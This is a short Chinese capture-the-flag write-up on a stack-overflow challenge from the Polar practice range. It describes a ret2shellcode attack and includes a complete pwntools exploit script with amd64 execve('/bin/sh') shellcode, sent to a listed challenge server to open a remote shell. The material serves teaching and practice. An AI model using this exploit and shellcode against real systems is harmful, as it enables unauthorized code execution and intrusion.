Polar靶场
play
play函数存在溢出

checksec 发现未开启NX保护,栈上可以直接执行

攻击思路也非常清晰,很典型的ret2shellcode,第一步read函数时,在buf数组中写入我们执行的shellcode,第二步gets函数覆盖我们的return_addr到buf数组的起始位置,从而触发我们的shellcode

通过动态调试可以看到get函数输入8*8时,覆盖return_addr的位置

所以尝试编写脚本,需要注意的点是程序是64位的,所以需要在shellcode中注明arch=‘amd64’
from pwn import *
#io = process("./Easy_ShellCode")
io = remote('1.95.36.136', '2102')
bur_addr = 0x6010A0
# context(arch='amd64',os='linux')
# shellcode=asm(shellcraft.sh())
shellcode = asm("""
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
syscall
""",arch='amd64')
io.sendafter(b'playing',shellcode)
payload = b'A'*(56) + p64(bur_addr)
io.sendlineafter(b'favorite',payload)
io.interactive()

被折叠的 条评论
为什么被折叠?



